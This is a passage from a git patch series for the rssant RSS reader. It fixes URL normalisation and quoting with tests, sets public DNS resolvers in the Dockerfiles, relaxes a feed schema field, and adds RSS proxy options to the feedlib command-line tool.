14 ++++++++++---- tests/feedlib/processor/test_processor.py | 12 ++++++++++++ 2 files changed, 22 insertions(+), 4 deletions(-) diff --git a/rssant_feedlib/processor.py b/rssant_feedlib/processor.py index 6d5c40f..409d92f 100644 --- a/rssant_feedlib/processor.py +++ b/rssant_feedlib/processor.py @@ -3,6 +3,7 @@ import re import logging from collections import namedtuple from urllib.parse import urljoin, quote, unquote, urlsplit, urlunsplit + import lxml.etree import lxml.html from lxml.html import soupparser @@ -10,8 +11,8 @@ from lxml.html.defs import safe_attrs as lxml_safe_attrs from lxml.html.clean import Cleaner from readability import Document as ReadabilityDocument from django.utils.html import escape as html_escape - from validr import T, Invalid + from rssant_common.validator import compiler from .importer import RE_URL @@ -119,10 +120,14 @@ def is_replaced_image(url): return url and RSSANT_IMAGE_TAG in url +def _is_url(url): + return bool(re.match(r'^https?:\/\/', url)) + + def make_absolute_url(url, base_href): if not base_href: return url - if not url.startswith('http://') and not url.startswith('https://'): + if not _is_url(url): url = urljoin(base_href, url) return url @@ -166,7 +171,7 @@ def normlize_url(url: str, base_url: str = None): url = url.replace('%3A//', '://') if url.startswith('://'): url = 'http' + url - if not url.startswith('http'): + if not _is_url(url): # ignore urn: or magnet: if re.match(r'^[a-zA-Z0-9]+:', url): return url @@ -204,7 +209,8 @@ def normlize_url(url: str, base_url: str = None): netloc = netloc.split(':')[0] # fix: http://example.com//blog path = re.sub(r'^\/\/+', '/', path) - path = quote(path) + # quote is not idempotent, can not quote multiple times + path = quote(unquote(path)) url = urlunsplit((scheme, netloc, path, query, fragment)) return url diff --git a/tests/feedlib/processor/test_processor.py b/tests/feedlib/processor/test_processor.py index 5cf4319..852c451 100644 --- a/tests/feedlib/processor/test_processor.py +++ b/tests/feedlib/processor/test_processor.py @@ -71,3 +71,15 @@ def test_normalize_base_url(): url = '/' r = normlize_url(url, base_url=base_url) assert r == 'http://blog.example.com/' + + +def test_normalize_quote(): + base = 'http://blog.example.com' + base_url = 'http://blog.example.com/feed.xml' + path_s = [ + '/post/2019-01-10-%E5%AF%BB%E6%89%BE-sourcetree-%E6%9B%BF%E4%BB%A3%E5%93%81/', + '/notes/%E8%9A%81%E9%98%85%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E8%AE%B0%E5%BD%95', + ] + for p in path_s: + r = normlize_url(p, base_url=base_url) + assert r == base + p -- Gitee From 9badcdd977bab91aa6e018c8c874ff52065146d9 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 17:16:22 +0800 Subject: [PATCH 24/26] update DNS config to public DNS --- Dockerfile | 4 ++++ box/Dockerfile | 4 ++++ etc/resolv.conf | 11 +++++++++++ 3 files changed, 19 insertions(+) create mode 100644 etc/resolv.conf diff --git a/Dockerfile b/Dockerfile index b24b3f2..8bd16a0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -5,6 +5,10 @@ WORKDIR /usr/src/app # https://opsx.alibaba.com/mirror debian 9.x (stretch) COPY etc/apt-sources.list /etc/apt/sources.list + +# Fix DNS pollution of local network +COPY etc/resolv.conf /etc/resolv.conf + RUN apt-get update && \ apt-get install -y \ git neovim tree xz-utils lsof strace htop tcpdump dstat gdb \ diff --git a/box/Dockerfile b/box/Dockerfile index e9ee4d5..6842cf8 100644 --- a/box/Dockerfile +++ b/box/Dockerfile @@ -15,6 +15,10 @@ WORKDIR /app # https://opsx.alibaba.com/mirror debian 9.x (stretch) COPY etc/apt-sources.list /etc/apt/sources.list + +# Fix DNS pollution of local network +COPY etc/resolv.conf /etc/resolv.conf + RUN apt-get update && \ apt-get install -y \ git neovim tree xz-utils lsof strace htop tcpdump dstat gdb \ diff --git a/etc/resolv.conf b/etc/resolv.conf new file mode 100644 index 0000000..9a1fe92 --- /dev/null +++ b/etc/resolv.conf @@ -0,0 +1,11 @@ +nameserver 223.5.5.5 +nameserver 223.6.6.6 +nameserver 114.114.114.114 +nameserver 114.114.115.115 +nameserver 180.76.76.76 +nameserver 119.29.29.29 +nameserver 8.8.8.8 +nameserver 8.8.4.4 +nameserver 2400:3200::1 +nameserver 2400:3200:baba::1 +nameserver 2400:da00::6666 \ No newline at end of file -- Gitee From f53a6a88f7913f9dc995efde3715417a501a0999 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 17:31:01 +0800 Subject: [PATCH 25/26] fix feed parser StorySchema --- rssant_feedlib/parser.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rssant_feedlib/parser.py b/rssant_feedlib/parser.py index f9f2d2a..894e150 100644 --- a/rssant_feedlib/parser.py +++ b/rssant_feedlib/parser.py @@ -38,7 +38,7 @@ StorySchema = T.dict( content=T.str.optional, summary=T.str.maxlen(300).optional, has_mathjax=T.bool.optional, - image_url=T.url.optional, + image_url=T.url.invalid_to_default.optional, dt_published=T.datetime.object.optional, dt_updated=T.datetime.object.optional, author_name=T.str.maxlen(100).optional, -- Gitee From 77034a00827d6cdabc385daf2233a648ce4d2018 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 17:43:19 +0800 Subject: [PATCH 26/26] feedlib cli support find by rss proxy, verify feed response status --- rssant_feedlib/cli.py | 19 ++++++++++++++++--- rssant_feedlib/response.py | 2 +- tests/feedlib/test_response.py | 1 + 3 files changed, 18 insertions(+), 4 deletions(-) diff --git a/rssant_feedlib/cli.py b/rssant_feedlib/cli.py index cb4b98b..cad46c8 100644 --- a/rssant_feedlib/cli.py +++ b/rssant_feedlib/cli.py @@ -56,7 +56,7 @@ def _normalize_path(p): return os.path.abspath(os.path.expanduser(p)) -def _do_find(url, max_trys, allow_private_address, printer): +def _do_find(url, max_trys, allow_private_address, printer, rss_proxy_url, rss_proxy_token): def message_handler(msg): print(msg) @@ -64,6 +64,8 @@ def _do_find(url, max_trys, allow_private_address, printer): finder = FeedFinder( url, max_trys=max_trys, allow_private_address=allow_private_address, + rss_proxy_url=rss_proxy_url, + rss_proxy_token=rss_proxy_token, message_handler=message_handler, ) with finder: @@ -139,10 +141,21 @@ def _do_save(url, output_dir, allow_private_address): @click.option('--no-content', is_flag=True, help='Do not print feed content') @click.option('--profile', is_flag=True, help='Run pyinstrument profile') @click.option('--allow-private-address', is_flag=True, help='Allow private address') -def find(url, max_trys, no_content=False, profile=False, allow_private_address=False): +@click.option('--rss-proxy-url', help='rss proxy url') +@click.option('--rss-proxy-token', help='rss proxy token') +def find( + url, max_trys, no_content=False, profile=False, + allow_private_address=False, + rss_proxy_url=None, rss_proxy_token=None, +): printer = Printer(profile or no_content) with ProfilerContext(profile): - _do_find(url, max_trys, printer=printer, allow_private_address=allow_private_address) + _do_find( + url, max_trys, printer=printer, + allow_private_address=allow_private_address, + rss_proxy_url=rss_proxy_url, + rss_proxy_token=rss_proxy_token, + ) @cli.command() diff --git a/rssant_feedlib/response.py b/rssant_feedlib/response.py index 078402b..5b12c06 100644 --- a/rssant_feedlib/response.py +++ b/rssant_feedlib/response.py @@ -133,7 +133,7 @@ class FeedResponse: use_proxy: bool = None, ): self._content = content - self._status = status if status is not None else HTTPStatus.OK.value + self._status = int(status if status is not None else HTTPStatus.OK.value) self._url = url self._encoding = encoding self._etag = etag diff --git a/tests/feedlib/test_response.py b/tests/feedlib/test_response.py index 66568cd..e97315d 100644 --- a/tests/feedlib/test_response.py +++ b/tests/feedlib/test_response.py @@ -4,6 +4,7 @@ from rssant_feedlib.response import FeedResponseStatus, FeedResponse, FeedConten def test_response_status(): status = FeedResponseStatus(-200) assert status == -200 + assert status in (-200, -300) assert FeedResponseStatus.name_of(200) == 'OK' assert FeedResponseStatus.name_of(600) == 'HTTP_600' assert FeedResponseStatus.name_of(-200) == 'FEED_CONNECTION_ERROR' -- Gitee